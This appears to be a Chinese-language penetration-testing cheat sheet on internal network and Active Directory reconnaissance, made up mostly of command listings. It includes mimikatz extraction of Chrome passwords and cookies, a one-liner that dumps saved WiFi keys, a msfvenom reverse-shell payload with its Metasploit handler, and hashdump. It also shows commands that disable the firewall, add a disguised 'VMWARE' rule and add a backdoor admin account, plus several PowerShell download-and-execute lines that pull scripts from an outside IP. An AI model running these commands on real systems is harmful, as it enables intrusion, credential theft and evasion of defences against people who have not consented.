渗透测试内网信息收集

工作组信息收集

用户信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#查看本机用户列表
net user

#获取本地管理员信息
net localgroup administrators

#查看当前在线用户
quser
query user
query user || qwinsta

#查当前用户在目标系统中的具体权限
whoami /all

#查看当前权限
whoami && whoami /priv

#查当前机器中所有的组名,了解不同组的职能,如,IT,HR,ADMIN,FILE
net localgroup

系统信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#查询网络配置信息。进行IP地址段信息收集
ipconfig /all

#查询操作系统及软件信息
systeminfo /fo list
systeminfo | findstr "主机名"
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

#查看当前系统版本
ver
wmic os list brief
wmic os get Caption,CSDVersion,OSArchitecture,Version

#查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%

#查询本机服务信息
wmic service list brief

#查看安装的软件的版本、路径等
wmic product get name, versio

powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"

#查询进程信息
tasklist
wmic process list brief

#查看启动程序信息
wmic startup get command,caption

#查看计划任务
at(win10之前)
schtasks /query /fo LIST /v(win10)
PS:如果遇到资源无法加载问题,则是由于当前活动页码所致:更改活动页码为437:chcp 437

#查看主机开机时间
net statistics workstation

#列出或断开本地计算机与所连接的客户端的对话
net session

#查看本地可用凭据
cmdkey /l

#查看补丁列表
wmic qfe get hotfixid
systeminfo | findstr "KB"

#查看补丁的名称、描述、ID、安装时间等
wmic qfe get Caption,Description,HotFixID,InstalledOn

#查看本地密码策略
net accounts

#查看hosts文件
Windows:type c:\Windows\system32\drivers\etc\hosts

#查看dns缓存
ipconfig /displaydns

网络信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#查看本机所有的tcp,udp端口连接及其对应的pid
netstat -ano

#查看本机所有的tcp,udp端口连接,pid及其对应的发起程序
netstat -anob #管理员权限

#查看路由表和arp缓存
route print
arp -a

#查看本机共享列表和可访问的域共享列表 (445端口)
net share
wmic share get name,path,status

#磁盘映射
net use k: \\192.168.1.10\c$

防火墙信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#查看防火墙配置(netsh命令也可以用作端口转发)
netsh firewall show config

#关闭防火墙(Windows Server 2003 以前的版本)
netsh firewall set opmode disable

#firewall命令已弃用,建议使用advfirewall命令
#查看配置规则
netsh advfirewall firewall show rule name=all

#关闭防火墙\开启防火墙(Windows Server 2003 以后的版本)
netsh advfirewall set allprofiles state off\on

#导出\导入配置文件
netsh advfirewall export\import xx.pol

#新建规则阻止TCP协议139端口
netsh advfirewall firewall add rule name="deny tcp 139" dir=in protocol=tcp localport=139 action=block

#新建规则允许3389通过防火墙
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

#删除名为Remote Desktop的规则
netsh advfirewall firewall delete rule name=Remote Desktop

RDP远程桌面

1
2
3
4
5
6
7
8
#开启
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

#关闭
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0

#查询并开启RDP服务的端口,返回一个十六进制的端口
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

获取杀软信息

  • 获取杀软名
1
WMIC /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
  • 获取杀软名和安装路径
1
WMIC /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName,productState,pathToSignedProductExe
  • 常见的杀毒软件进程
1
2
tasklist /v
wmic process list brief
进程 软件名称
360SD.exe 360杀毒
360TRAY.exe 360实时保护
HipsMain.exe 火绒
ZHUDONGFANGYU.exe 360s主动防御
KSAFETRAY.exe 金山卫士
SAFEDOGUPDATECENTER.exe 服务器安全狗
MCAFEE MCSHIELD.exe MCAFEE
EGULEXE NoD32
AVP.exe 卡巴斯基
AVGUARD.exe 小红伞
BDAGENT.exe BITDEFENDER
QQPCRTP.exe QQ电脑管家
hids 主机防护类产品
hws* 护卫神
yunsuo* 云锁
D_Safe* D盾

代理信息

1
2
3
4
REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer

#通过pac文件自动代理情况
REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL

Wifi密码

1
2
netsh wlan show profile
netsh wlan show profile name="28023_5G" key=clear

image-20230824114424292

image-20230824114535378

一条命令获取连接过的wifi密码,企业认证的获取不到

1
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

回收站信息

1
2
3
FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:\$Recycle.Bin\%d\^>%c.txt

目录路径在 C:\$Recycle.Bin
1
2
$I 开头的文件保存的是路径信息
$R 开头的文件保存的是文件内容

Chorme浏览器信息

获取Chorme浏览器历史记录和Cookie,chrome的用户信息保存在本地,文件为 sqlite 数据库格式

路径:

1
2
%localappdata%\google\chrome\USERDA~1\default\LOGIND~1
%localappdata%\google\chrome\USERDA~1\default\cookies

mimikatz获取内容:

1
2
3
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\LOGIND~1" exit

mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit

WMIC收集信息

wmic-info.bat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
:: BIOS信息
wmic BIOS list full /format:htable > wmic.html
:: CPU信息
wmic CPU list full /format:htable >> wmic.html
:: 启动配置管理
wmic BOOTCONFIG list full /format:htable >> wmic.html
:: 系统环境管理
wmic ENVIRONMENT list /format:htable >> wmic.html
:: 系统帐户管理
wmic SYSACCOUNT list full /format:htable >> wmic.html
:: 共享资源管理
wmic SHARE list full /format:htable >> wmic.html
:: 进程
wmic PROCESS get CSName,Description,ExecutablePath,ProcessId /format:htable >> wmic.html
:: 服务
wmic SERVICE get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:htable >> wmic.html
:: 用户帐号
wmic USERACCOUNT list full /format:htable >> wmic.html
:: 用户组
wmic GROUP list /format:htable >> wmic.html
:: 网络接口
wmic NICCONFIG where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:htable >> wmic.html
:: 硬盘信息
wmic VOLUME get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:htable >> wmic.html
:: 网络共享信息
wmic NETUSE list full /format:htable >> wmic.html
:: 安装的Windows补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:htable >> wmic.html
:: 启动运行程序
wmic STARTUP get Caption,Command,Location,User /format:htable >> wmic.html
:: 安装的软件列表
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:htable >> wmic.html
:: 操作系统
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,ServicePackMinorVersion,SystemDirectory /format:htable >> wmic.html
:: 时区信息
wmic Timezone get DaylightName,Description,StandardName /format:htable >> wmic.html

Powershell收集信息

https://github.com/samratashok/nishang/blob/master/Gather/Get-Information.ps1

1
2
#FTP访问、共享连接、putty连接、驱动、应用程序、hosts 文件、进程、无线网络记录
powershell iex(new-object net.webclient).downloadstring('http://47.104.255.11:8000/Get-Information.ps1');Get-Information

https://github.com/PowerShellMafia/PowerSploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Get-NetDomain: 获取当前用户所在域的名称
Get-NetUser: 获取所有用户的详细信息
Get-NetDomainController: 获取所有域控制器的信息
Get-NetComputer: 获取域内所有机器的详细信息
Get-NetOU: 获取域中的OU信息
Get-NetGroup: 获取所有域内组和组成员信息
Get-NetFileServer: 根据SPN获取当前域使用的文件服务器信息
Get-NetShare: 获取当前域内所有网络共享信息
Get-NetSession: 获取指定服务器的会话
Get-NetRDPSession: 获取指定服务器的远程连接
Get-NetProcess: 获取远程主机的进程
Get-UserEvent: 获取指定用户的日志
Get-ADObiect: 获取活动目录的对象
Get-NetGPO: 获取域内所有的组策略对象
Get-DomainPolicy: 获取域默认策略或域控制器策略
Invoke-UserHunter: 获取域用户登录的计算机信息及该用户是否有本地管理员权限
Invoke-ProcessHunter: 通过查询域内所有的机器进程找到特定用户
Invoke-UserEvenHunter: 根据用户日志查询某域用户登录过哪些域机器。

内网信息收集脚本

https://raw.githubusercontent.com/braeden/Batch-Infogather/master/Infogather.bat

域内信息收集

Net组件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#查询域
net view /domain

#查询域内的所有计算机
net view /domain:kc

#查询域内所有用户组(Enterprise Admins组权限最大)
net group /domain

#查看域管理员的用户组
net group "domain admins" /domain

#查询所有域成员计算机列表
net group "domain computers" /domain

#查询域系统管理员用户组
net group "Enterprise admins" /domain

#查看域控制器
net group "domain controllers" /domain

#对比查看"工作站域DNS名称(域名)"和"登录域()域控制器"的信息是否相匹配
net config workstation

#查看域内所有账号
net user /domain

#查询指定用户的详情信息
net user xxx /domain

#查看时间可以找到域控
net time /domain

#查看域密码策略
net accounts /domain

#查看当前登录域
net config workstation

#登录本机的域管理员
net localgroup administrators /domain

Dsquery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#查看当前域内的所有机器,dsquery工具一般在域控上才有,不过你可以上传一个dsquery
dsquery computer

#查看当前域中的所有账户名
dsquery user

#查看当前域内的所有组名
dsquery group

#查看到当前域所在的网段,结合nbtscan使用
dsquery subnet

#查看域内所有的web站点
dsquery site

#查看当前域中的服务器(一般结果只有域控的主机名)
dsquery server

#查询前240个以admin开头的用户名
dsquery user domainroot -name admin* -limit 240

Other

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#查看域控制器的机器名
nltest /DCLIST:KC

#查看域内的主域控,仅限win2008及之后的系统
netdom query pdc

#查看域控主机名
nslookup -type=srv _ldap._tcp

#查看域内信任关系
nltest /domain_trusts

#查看域内邮件服务器
nslookup -q=mx kc.local

#查看域内DNS服务器
nslookup -q=ns kc.local

定位域控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#ipconfig
ipconfig /all

#查询dns解析记录
nslookup -type=all _ldap._tcp.dc._msdcs.kc.local

#spn扫描
#在SPN扫描结果中可以通过如下内容,来进行域控的定位。
setspn -q */*
setspn -T kc.local -q */*

#CN=DC,OU=Domain Controllers,DC=kc,DC=local

#net group
net group "domain controllers" /domain

#端口识别
端口:389
服务:LDAP、ILS
说明:轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。

端口:53
服务:Domain Name Server(DNS)
说明:53端口为DNS(Domain Name Server,域名服务器)服务器所开放,主要用于域名解析,DNS服务在NT系统中使用的最为广泛。通过DNS服务器可以实现域名与IP地址之间的转换,只要记住域名就可以快速访问网站。

Metasploit内网信息收集

反弹shell

  • 生成payload
1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.227 lport=5555 -f exe -o xx.exe

将生成的payload发送给目标机器并让其执行

  • 配置反弹会话处理程序
1
2
3
4
5
Use exploit/multi/handler
Set payload windows/meterpreter/reverse_tcp
Set LHOST 192.168.1.227
Set LPOST 5555
Exploit

返回Shell

关闭防火墙

1
2
3
shell(或者execute -f cmd -i -H)
netsh advfirewall set allprofiles state off
netsh advfirewall show allprofiles

通过策略添加防火墙规则隐蔽行为:

1
2
netsh advfirewall set add rule name="VMWARE" protocol=TCP dir=in localport=5555 action=allow
netsh firewall add portopening TCP 5555 "VMWARE" ENABLE ALL

重启生效:

1
shutdown -r -f -t 0

打开并连接3389

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#开启3389远程桌面
run post/windows/manage/enable_rdp
run getgui –e

#可以利用该命令,在目标机器上添加用户
run getgui –u admin –p admin
net localgroup administrators admin /add

#远程连接桌面
rdesktop –u username –p password ip

#查看远程桌面
screenshot
use espia
screengrab
screenshare

#删除指定账号
run post/windows/manage/delete_user USERNAME=admin

口令破解

1
2
3
4
5
6
7
8
9
10
use post/windows/gather/hashdump #system权限的meterpreter
set session 1
exploit #结果保存在tmp目录下

use post/windows/gather/smart_hashdump
set session 1
exploit

#格式
用户名称 : RID : LM-HASH 值 : NT-HASH 值
1
2
3
4
5
6
7
8
#Hashdump使用的是mimikatz的部分功能
Load mimikatz

#wdigest 、kerberos 、msv 、ssp 、tspkg 、livessp
mimikatz_command -h
mimikatz_command -f a:: #查询有哪些模块
mimikatz_command -f samdump::hashes
mimikatz_command -f samdump::bootkey

Other

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#确定目标主机是否是虚拟机:
run checkvm

#获取目标主机上的软件安装信息:
run post/windows/gather/enum_applications

#获取目标主机上最近访问过的文档、链接信息:
run post/windows/gather/dumplinks

#查看目标环境信息:
run post/multi/gather/env

#查看firefox中存储的账号密码:
run post/multi/gather/firefox_creds

#查看ssh账号密码的密文信息,证书信息:
run post/multi/gather/ssh_creds

#查看目标系统所有网络流量并且进行数据包记录:
run packetrecorder -i 0 //-i 1指定记录数据包的网卡

#读取目标主机IE浏览器cookies等缓存信息,嗅探目标主机登录过的各类账号密码:
run post/windows/gather/enum_ie
#获取到的目标主机上的ie浏览器缓存历史记录和cookies信息等都保存到了攻击主机本地的/root/.msf4/loot/目录下

Winenum

1
2
3
run winenum

/root/.msf4/logs/scripts/winenum

主机发现

1
2
3
4
5
6
7
8
9
#模块位于源码路径的: modules/auxiliary/scanner/discovery/

#主要有
arp_sweep
ipv6_mulitcast_ping
ipv6_neighbor
ipv6_neighbor_router_advertisement
udp_probe
udp_sweep
1
2
3
4
5
6
7
8
9
#arp_sweep 使用arp请求枚举本地局域网中的所有活跃主机
#udp_sweep 通过发送UDP数据包探查指定主机是否活跃,并发现主机上的udp服务。

use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 10.10.10.0/24
set THREADS 50
run

#设置好参数后输入run启动扫描器

端口扫描

1
2
3
4
5
6
7
msf> search portscan

auxiliary/scanner/protscan/ack #通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测
auxiliary/scanner/protscan/ftpbounce #通过FTP bounce攻击的原理对TCP服务进行枚举,一些新的FTP服务器软件能很好的防范此攻击,但在旧的系统上仍可以被利用
auxiliary/scanner/portscan/syn #使用发送TCP SYN标志的方式探测开放端口
auxiliary/scanner/protscan/tcp #通过一次完整的TCP连接来判断端口是否开放 最准确但是最慢
auxiliary/scanner/protscan/xmas #一种更为隐秘的扫描方式,通过发送FIN,PSH,URG标志,能够躲避一些高级的TCP标记检测器的过滤
1
2
3
4
5
6
7
#一般情况下推荐使用syn端口扫描器,速度较快,结果准确,不易被对方察觉

#syn扫描器的使用
use auxiliary/scanner/protscan/syn
set RHOSTS 10.10.10.10/254
set THREADS 20
run

服务扫描

1
2
3
4
5
6
7
8
9
10
确定开放端口后,对相应端口上所运行的服务信息进行挖掘

在Metasploit的Scanner辅助模块中,用于服务扫描和查点的工具常以[service_name]_version和[service_name]_login命名
[service_name]_version 可用于遍历网络中包含了某种服务的主机,并进一步确定服务的版本。
[service_name]_login 可对某种服务进行口令探测攻击

在msf终端中可以输入:
search name:_version

查看所有可用的服务查点模块

内网主机存活探测

参考:https://www.cnblogs.com/-mo-/p/11908260.html

Netbios协议探测

  • netbios简介

IBM公司开发,主要用于数十台计算机的小型局域网。该协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求低级服务的同一的命令集,作用是为了给局域网提供网络以及其他特殊功能。系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名-——特指基于NetBIOS协议获得计算机名称——解析为相应IP地址,实现信息通讯,所以在局域网内部使用NetBIOS协议可以方便地实现消息通信及资源的共享

  • nmap扫描
1
nmap -sU -T4 --script nbstat.nse -p137 10.10.10.0/24

image-20230829211207346

1
2
msf扫描
msf > use auxiliary/scanner/netbios/nbname
  • Nbtscan

项目地址:http://www.unixwiz.net/tools/nbtscan.html

使用nbtscan扫描本地或远程TCP/IP网络上开放的NetBIOS名称服务器,输出的结果第一列为IP地址,第二列为机器名和所在域的名称,第三列即最后一列为及其所开启的服务的列表。

1
2
3
#Windows
nbtscan.exe –m 10.10.10.0/24
nbtstat –n

image-20230829212421660

1
2
#Linux
nbtscan -r 10.10.10.0/24

ICMP协议探测

  • ICMP协议简介

它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

  • CMD下扫描内网C段存活主机

命令行直显:

1
for /l %i in (1,1,255) do @ ping 10.0.0.%i -w 1 -n 1|find /i "ttl="

输出内容导出:

1
@for /l %i in (1,1,255) do @ping -n 1 -w 40 10.10.10.%i & if errorlevel 1 (echo 10.10.10.%i>>c:\a.txt) else (echo 10.10.10.%i >>c:\b.txt)
  • NMAP扫描

扫描一个C段下的存活主机

1
nmap -sn -PE -T4 192.168.0.0/24
  • Powershell扫描
1
2
3
powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1; Invoke-TSPingSweep -StartAddress 192.168.1.1 -EndAddress 192.168.1.254 -ResolveHost -ScanPort -Port 445,135"

powershell iex(new-object net.webclient).downloadstring('http://47.104.255.11:8000/Invoke-TSPingSweep.ps1');Invoke-TSPingSweep -StartAddress 10.10.10.1 -EndAddress 10.10.10.254 -ResolveHost -ScanPort -Port 445,135

UDP协议探测

  • UDP简介

UDP(User Datagram Protocol)是一种无连接的协议,在第四层-传输层,处于IP协议的上一层。UDP有不提供数据包分组、组装和不能对数据包进行排序的缺点,也就是说,当报文发送之后,是无法得知其是否安全完整到达的。

NMAP扫描

1
nmap -sU –T4 -sV --max-retries 1 192.168.1.100 -p 500
  • MSF扫描
1
2
msf > use auxiliary/scanner/discovery/udp_probe
msf > use auxiliary/scanner/discovery/udp_sweep
  • Unicornscan扫描

Linux下推荐使用

1
unicornscan -mU 192.168.1.100

ARP协议探测

  • ARP简介

ARP,通过解析网路层地址来找寻数据链路层地址的一个在网络协议包中极其重要的网络传输协议。根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址

  • NMAP扫描
1
nmap -sn -PR 192.168.1.1/24
  • MSF扫描
1
msf > use auxiliary/scanner/discovery/arp_sweep
  • Netdiscover

Netdiscover是一种网络扫描工具,通过ARP扫描发现活动主机,可以通过主动和被动两种模式进行ARP扫描。通过主动发送ARP请求检查网络ARP流量,通过自动扫描模式扫描网络地址。

1
netdiscover -r 10.10.10.0/24 -i eth1
  • Powershell

https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/situational_awareness/network/Invoke-ARPScan.ps1

1
powershell.exe -exec bypass -Command "Import-Module .\arpscan.ps1;InvokeARPScan -CIDR 192.168.1.0/24"
  • arp-scan(linux)

项目地址:https://linux.die.net/man/1/arp-scan

1
arp-scan -interface=eth1 --localnet
  • arp-scan(windows)

项目地址(非官方):https://github.com/QbsuranAlang/arp-scan-windows-/tree/master/arp-scan

1
arp-scan.exe –t 10.10.10.0/24

SMB协议探测

  • NMAP
1
nmap -sU -sS --script smb-enum-shares.nse -p 445 192.168.1.119
  • Crackmapexec
1
2
默认为100线程:
crackmapexec smb 10.10.10.0/24
  • MSF
1
Msf5 > use auxiliary/scanner/smb/smb_version

域内端口探测

  • MSF中的portscan模块

  • Nishang中的Invoke-PortScan模块

https://raw.githubusercontent.com/samratashok/nishang/c3fdf5e5dfa8612d0a17636dbb096b04e987ab31/Scan/Invoke-PortScan.ps1

端口扫描,默认扫描常见端口,也可以用 -Port指定端口:

1
powershell iex(new-object net.webclient).downloadstring('http://47.104.255.11:8000/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.255 -ResolveHost -ScanPort

内网信息收集工具

Fscan

一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。

支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能

项目地址:https://github.com/shadow1ng/fscan

简单用法

1
2
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
fscan.exe -h 192.168.1.1/16 (B段扫描)

LadonGo

简介

LadonGO 4.2 Pentest Scanner framework 全平台Go开源内网渗透扫描器框架,Windows/Linux/Mac内网渗透,使用它可轻松一键批量探测C段、B段、A段存活主机、高危漏洞检测MS17010、SmbGhost,远程执行SSH/Winrm,密码爆破SMB/SSH/FTP/Mysql/Mssql/Oracle/Winrm/HttpBasic/Redis,端口扫描服务识别PortScan指纹识别/HttpBanner/HttpTitle/TcpBanner/Weblogic/Oxid多网卡主机,端口扫描服务识别PortScan。

下载地址: https://github.com/k8gege/LadonGo

使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#多协议探测存活主机 (IP、机器名、MAC地址、制造商)
Ladon 192.168.1.8/24 OnlinePC

#多协议识别操作系统 (IP、机器名、操作系统版本、开放服务)
Ladon 192.168.1.8/24 OsScan

#扫描存活主机
Ladon 192.168.1.8/24 OnlineIP

#ICMP扫描存活主机
Ladon 192.168.1.8/24 Ping

#扫描SMB漏洞MS17010 (IP、机器名、漏洞编号、操作系统版本)
Ladon 192.168.1.8/24 MS17010

#SMBGhost漏洞检测 CVE-2020-0796 (IP、机器名、漏洞编号、操作系统版本)
Ladon 192.168.1.8/24 SMBGhost

Adfind

Adfind是一款在域环境下非常强大的信息搜集工具,允许用户在域环境下轻松搜集各种信息。

它提供了大量的选项,可以优化搜索并返回相关详细信息,是内网域渗透中的一款利器。

下载地址: http://www.joeware.net/freetools/tools/adfind/index.htm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#列出域控制器名称
AdFind -sc dclist

#查看域控版本
AdFind -schema -s base objectversion

#查询当前域中在线的计算机(所有属性)
AdFind -sc computers_active

#查询当前域中在线的计算机(只显示名称和操作系统)
AdFind -sc computers_active name operatingSystem

#查询当前域中所有计算机(所有属性)
AdFind -f "objectcategory=computer"

#查询当前域中所有计算机(只显示名称和操作系统)
AdFind -f "objectcategory=computer" name operatingSystem

#查询指定域(kc.local)中所有计算机(所有属性)
Adfind -b dc=kc,dc=local -f "objectcategory=computer"

#查询域内所有用户
AdFind -users name

#查询指定域(kc.local)内所有用户(所有属性)
Adfind -b dc=kc,dc=local -f "objectcategory=user"

#查询所有GPO信息
AdFind -sc gpodmp

#查看受保护AD域账户
Adfind -f "&(objectcategory=person)(samaccountname=*)(admincount=1)" -dn

#查看域管账户
AdFind -default -f "(&(|(&(objectCategory=person)(objectClass=user))(objectCategory=group))(adminCount=1))" -dn

BloodHound

安装

  1. 安装neo4j
1
apt install neo4j -y
  1. 下载BloodHound

https://github.com/BloodHoundAD/BloodHound/releases

启动

  1. 启动neo4j
1
2
neo4j start
neo4j console

image-20230829214321844

  1. 登录neo4j

访问:http://localhost:7474/browser/

默认账号密码:neo4j / neo4j

第一次登录成功后,会强制更改登录用户密码

1
neo4j / neo4j1

image-20230829215140036

  1. 启动BloodHound
1
./BloodHound --no-sandbox

image-20230829215932284

收集器

  1. 下载

https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors

  1. 编译

使用 Visual Studio 编译SharpHound项目时,需要安装对应版本的 .NETFramework

生成应用 - 开发包:编译程序下载开发人员工具包
运行应用 - 运行时:运行编译后的程序需要安装对应版本运行时

  • SharpHound

https://github.com/BloodHoundAD/SharpHound

收集器适用于 BloodHound v4.x.x,需要 .NETFramework,Version=v4.6.2 的引用程序集。

https://dotnet.microsoft.com/zh-cn/download/dotnet-framework/net462

  • SharpHound3

https://github.com/BloodHoundAD/SharpHound3

收集器适用于 BloodHound v3.x.x,需要 .NETFramework,Version=v4.5.2 的引用程序集。

https://dotnet.microsoft.com/zh-cn/download/dotnet-framework/net452

  • SharpHound2

https://github.com/BloodHoundAD/SharpHound2

收集器适用于 BloodHound v2.x.x,需要 .NETFramework,Version=v3.5 的引用程序集。

https://dotnet.microsoft.com/zh-cn/download/dotnet-framework/thank-you/net35-sp1-web-installer

  1. 加载powershell
1
IEX (NEW-OBJECT net.webclient).downloadstring('http://192.168.81.154:8000/SharpHound.ps1');Invoke-BloodHound -c all
  1. 运行收集器

运行收集器程序后,在当前目录将生成包含所有数据的压缩包,把压缩包拖入BloodHound,即可筛选查看收集到的域相关信息